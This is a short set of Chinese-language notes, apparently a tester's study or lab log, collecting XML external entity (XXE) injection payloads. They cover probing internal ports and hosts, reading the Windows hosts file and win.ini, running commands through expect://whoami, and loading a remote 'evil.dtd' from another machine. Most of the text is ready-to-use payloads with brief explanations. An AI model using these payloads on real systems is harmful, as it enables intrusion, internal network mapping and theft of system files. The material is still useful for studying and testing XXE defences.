
利用xml注入的回显探测:
<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY xxe "test"> ]><root>&xxe;</root>

利用xml注入的端口探测:
payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEroot[<!ENTITY xxe SYSTEM "http://192.168.x.x:8080">]><root>&xxe;</root>
利用burpsuite探测敏感端口:


端口探测的存活列表边界建议手动测试访问,根据响应时间可能不太准确。
对比nmap扫描出来的结果:

利用xml注入的内网主机探测:
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://192.168.x.x" > ]><foo>&xxe;</foo>
同样利用BurpSuite对内网存活主机地址探测。
利用xml注入的敏感文件读取:
hosts读取:
*一般系统敏感文件是默认路径。
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" > ]><foo>&xxe;</foo>
hosts文件是本地DNS配置文件,用户在本地指定域名与IP的映射关系,优先级高于DNS服务器。用来发现内网域名、隐藏的测试系统或管理后台。利用该文件绕过CDN直接访问真实IP。

win.ini读取:
win.ini文件保留了系统配置信息,判断系统类型:存在[fonts]、[boot]等字段即可确认windows。
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" > ]><foo>&xxe;</foo>

利用xml注入的命令执行:
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://whoami" > ]><foo>&xxe;</foo>
利用xml注入的远程文件执行:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root SYSTEM "http://192.168.10.17:8086/evil.dtd"><root>&xxe;</root>
远程dtd payload:
<!ENTITY xxe system "file:///C:/Windows/System32/drivers/etc/hosts">

这里没有回显不知道为什么。